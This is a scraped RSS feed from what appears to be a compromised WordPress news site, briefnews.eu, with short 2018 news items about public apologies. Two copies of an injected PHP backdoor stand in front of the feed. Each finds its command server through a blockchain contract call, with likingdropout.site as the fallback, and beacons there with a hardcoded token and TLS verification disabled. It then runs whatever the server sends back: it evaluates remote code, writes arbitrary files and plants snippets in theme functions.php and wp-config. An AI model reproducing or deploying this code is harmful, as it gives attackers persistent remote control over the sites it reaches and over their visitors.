// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); apologized – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 08 Nov 2018 09:21:02 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png apologized – Brief News https://briefnews.eu 32 32 Justin Trudeau formally apologized for Canada’s 1939 refusal to accept a ship carrying 900 Jewish refugees https://briefnews.eu/justin-trudeau-formally-apologized-for-canadas-1939-refusal-to-accept-a-ship-carrying-900-jewish-refugees/ https://briefnews.eu/justin-trudeau-formally-apologized-for-canadas-1939-refusal-to-accept-a-ship-carrying-900-jewish-refugees/#respond Thu, 08 Nov 2018 09:21:02 +0000 http://briefnews.eu/justin-trudeau-formally-apologized-for-canadas-1939-refusal-to-accept-a-ship-carrying-900-jewish-refugees/ Canadian Prime Minister Justin Trudeau gestures at the G7 Outreach Official Welcome on day two of the G7 Summit on June 9, 2018 in Quebec City, Canada.Neil Hall – Pool/Getty Images

  • Canadian Prime Minister Justin Trudeau issued a formal apology on Wednesday for the country’s refusal to take in a ship carrying more than 900 Jewish refugees in 1939. 
  • The ship left Germany in 1939 fleeing Nazi persecution. 
  • After it was rejected entrance into Canada and other countries, the ship was forced to go back to Germany where an estimated 250 of its passengers died in Nazi death camps. 
  • The apology comes as Trudeau pledged that his country would do all that it could to prevent anti-Semitic attacks like the shooting that left 11 Jewish worshippers dead at a synagogue in Pittsburgh on October 28. 

OTTAWA (Reuters) – Canada’s Prime Minister Justin Trudeau formally apologized on Wednesday for the country’s 1939 refusal to take in a ship carrying more than 900 Jewish refugees, adding that the country would do more to protect Canadian Jews from violence.

The St. Louis left Hamburg in May 1939 in a desperate search for a safe haven from persecution by Nazi Germany. After it was rebuffed by Canada and other nations, it returned to Europe, where historians have estimated that more than 250 of the passengers were murdered in Nazi death camps.

See the rest of the story at Business Insider

NOW WATCH: Trump once won a lawsuit against the NFL — but the result was an embarrassment

See Also:

SEE ALSO: Canada’s Trudeau refused to back down as Saudi Arabia ups the ante in ongoing human-rights fight

]]>
https://briefnews.eu/justin-trudeau-formally-apologized-for-canadas-1939-refusal-to-accept-a-ship-carrying-900-jewish-refugees/feed/ 0
A white woman called the police on a black child she wrongly accused of sexual assault. After being confronted with video footage, she apologized. https://briefnews.eu/a-white-woman-called-the-police-on-a-black-child-she-wrongly-accused-of-sexual-assault-after-being-confronted-with-video-footage-she-apologized/ https://briefnews.eu/a-white-woman-called-the-police-on-a-black-child-she-wrongly-accused-of-sexual-assault-after-being-confronted-with-video-footage-she-apologized/#respond Sun, 14 Oct 2018 08:11:31 +0000 http://briefnews.eu/a-white-woman-called-the-police-on-a-black-child-she-wrongly-accused-of-sexual-assault-after-being-confronted-with-video-footage-she-apologized/ cornerstore caroline teresa kleinFacebook/Jason Stovetop Littlejohn

  • A white woman apologized on Friday after a video went viral showing her calling 911 to wrongly report a sexual assault allegation against a young, black boy in Brooklyn.
  • The woman, 53-year-old Teresa Klein, had alleged on Wednesday that the boy groped her at a convenience store.
  • Klein was confronted with security-camera footage on Friday showing that the boy’s backpack had brushed against her.
  • The original video is the latest in a series of instances where white people have called police on black people for seemingly innocuous behavior, raising concerns of racial bias.

A white woman in Brooklyn who called 911 and falsely accused a young black boy of sexual assault apologized on Friday after being confronted with video footage showing that the boy appeared not to touch her.

Teresa Klein, 53, sparked outrage across social media this week after she was captured on video outside a convenience store calling police and accusing a nine-year-old boy of groping her.

See the rest of the story at Business Insider

NOW WATCH: Inside the Trump ‘MAGA’ hat factory

See Also:

SEE ALSO: Starbucks apologizes after viral video shows cops in a Philadelphia store arresting 2 black men who witnesses say ‘didn’t do anything’

]]>
https://briefnews.eu/a-white-woman-called-the-police-on-a-black-child-she-wrongly-accused-of-sexual-assault-after-being-confronted-with-video-footage-she-apologized/feed/ 0
The airline employee who stole a plane from the Seattle airport cracked jokes, complimented air traffic control, and apologized for making a fuss before fatally crashing on to an island https://briefnews.eu/the-airline-employee-who-stole-a-plane-from-the-seattle-airport-cracked-jokes-complimented-air-traffic-control-and-apologized-for-making-a-fuss-before-fatally-crashing-on-to-an-island/ https://briefnews.eu/the-airline-employee-who-stole-a-plane-from-the-seattle-airport-cracked-jokes-complimented-air-traffic-control-and-apologized-for-making-a-fuss-before-fatally-crashing-on-to-an-island/#respond Mon, 13 Aug 2018 14:45:41 +0000 http://briefnews.eu/the-airline-employee-who-stole-a-plane-from-the-seattle-airport-cracked-jokes-complimented-air-traffic-control-and-apologized-for-making-a-fuss-before-fatally-crashing-on-to-an-island/ Richard Russell Seattle Plane Heist CrashYoutube/Handout via REUTERS

  • Airline ground agent Richard Russell stole an empty Horizon Air plane on Friday night from Sea-Tac International Airport and fatally crashed into a small island in the Puget Sound.
  • Officials have said that the 29-year-old was not a licensed pilot, but had clearance to be among aircraft.
  • The Pierce County Medical Examiner’s Office confirmed on Sunday that Russell had died in the fiery wreckage. 
  • Questions still remain over whether the crash was deliberate or accidental. 
  • The Seattle FBI office said Sunday that it had recovered the flight data recorder and components of the cockpit voice recorder from the Horizon plane.

He cracked jokes, complimented the professional demeanor of an air traffic controller and apologized for making a fuss.

But the friendly tone of a 29-year-old airport worker who stole a commercial plane Friday night, performing acrobatic stunts before the fatal plunge into a thick island forest, belied his desperate actions.

See the rest of the story at Business Insider

See Also:

SEE ALSO: The airline employee who stole a plane from the Seattle airport and fatally crashed onto a small island was not a licensed pilot

DON’T MISS The theft of an empty plane from Sea-Tac Airport highlights one of the biggest potential perils for commercial air travel — airline or airport employees causing mayhem

]]>
https://briefnews.eu/the-airline-employee-who-stole-a-plane-from-the-seattle-airport-cracked-jokes-complimented-air-traffic-control-and-apologized-for-making-a-fuss-before-fatally-crashing-on-to-an-island/feed/ 0
Zuckerberg grilled by Congress… and he apologized a lot https://briefnews.eu/zuckerberg-grilled-by-congress-and-he-apologized-a-lot/ https://briefnews.eu/zuckerberg-grilled-by-congress-and-he-apologized-a-lot/#respond Wed, 11 Apr 2018 19:21:33 +0000 http://briefnews.eu/zuckerberg-grilled-by-congress-and-he-apologized-a-lot/

Facebook CEO Mark Zuckerberg was back on Capitol Hill today for another round of questioning by the House Energy and Commerce Committee, following Tuesday’s marathon five-hour Senate hearing.

During the hearing on Wednesday that went on for several hours, Zuckerberg was apologetic from the opening, in what has been described as the latest leg in the embattled CEO’s “I’m sorry” tour.

Saying “sorry” is nothing new for the 33-year-old billionaire, and Rep. Jan Schakowsky (D-Illinois) used her time to read out a list of past apologies from Zuckerberg, mostly for privacy violations. After the exhaustive list, she concluded that “self-regulation simply does not work.”

Zuckerberg was evasive when asked what Facebook does to safeguard user data, and he tried to conflate users controlling sharing their posts and Facebook giving those posts to advertisers. Time and time again, he fell back on the reliable “we don’t sell your data” line.

Likewise, when asked about whether Facebook would be willing to change its business model to better protect user privacy, Zuckerberg said: “I’m not sure what that means.”

Questions about censorship dogged Zuckerberg throughout the hearing. Several committee members pressed him on Facebook’s censorship of conservative content, which was exemplified by the company flagging pro-Trump conservative vloggers Diamond and Silk for “inappropriate content.”

Zuckerberg claimed his platform is made for “all kinds of ideas” and denied bias against conservatives.

Zuckerberg was again asked whether Facebook could listen in to users’ conversations through their phone, an accusation he denied. Targeted ads based on conversations are just a “coincidence.”

Throughout the hearing, Zuckerberg vowed that a sophisticated AI algorithm would help his company better fight “hate speech” and identify malicious actors, raising the question of what exactly constitutes “hate speech” and who will train the AI to identify the “right” kind of speech to block.

The questions on Wednesday were more pointed than yesterday, with Zuckerberg visibly uncomfortable at times. In an exchange with Rep. Kathy Castor (D-Florida), Zuckerberg mumbled and dodged. As Rep. David McKinley (R-West Virginia) grilled him over Facebook’s complicity in allowing illegal pharmacies to use the platform to sell opioids, Zuckerberg squirmed.

The questioning might have been sharper than at Tuesday’s Senate hearing, but for many Twitter users, the session looked like a teenage boy helping his grandparents sent up a Facebook page.

Let’s block ads! (Why?)

]]>
https://briefnews.eu/zuckerberg-grilled-by-congress-and-he-apologized-a-lot/feed/ 0
Tony Robbins has apologized for saying women use the #MeToo movement to ‘get significance and certainty by attacking and destroying someone else’ https://briefnews.eu/tony-robbins-has-apologized-for-saying-women-use-the-metoo-movement-to-get-significance-and-certainty-by-attacking-and-destroying-someone-else/ https://briefnews.eu/tony-robbins-has-apologized-for-saying-women-use-the-metoo-movement-to-get-significance-and-certainty-by-attacking-and-destroying-someone-else/#respond Tue, 10 Apr 2018 01:40:06 +0000 http://briefnews.eu/tony-robbins-has-apologized-for-saying-women-use-the-metoo-movement-to-get-significance-and-certainty-by-attacking-and-destroying-someone-else/ tony robbinsMike Windle/Getty Images

  • Tony Robbins, world-renowned performance coach, has apologized for comments he made about the #MeToo movement at an event in March.
  • Robbins told an audience member at the event that women use the movement to “get significance and certainty by attacking and destroying someone else.”
  • NowThis tweeted a clip of the event that went viral.
  • Tarana Burke, founder of the #MeToo movement said Robbins’ comments were especially damaging because of his tremendous influence.

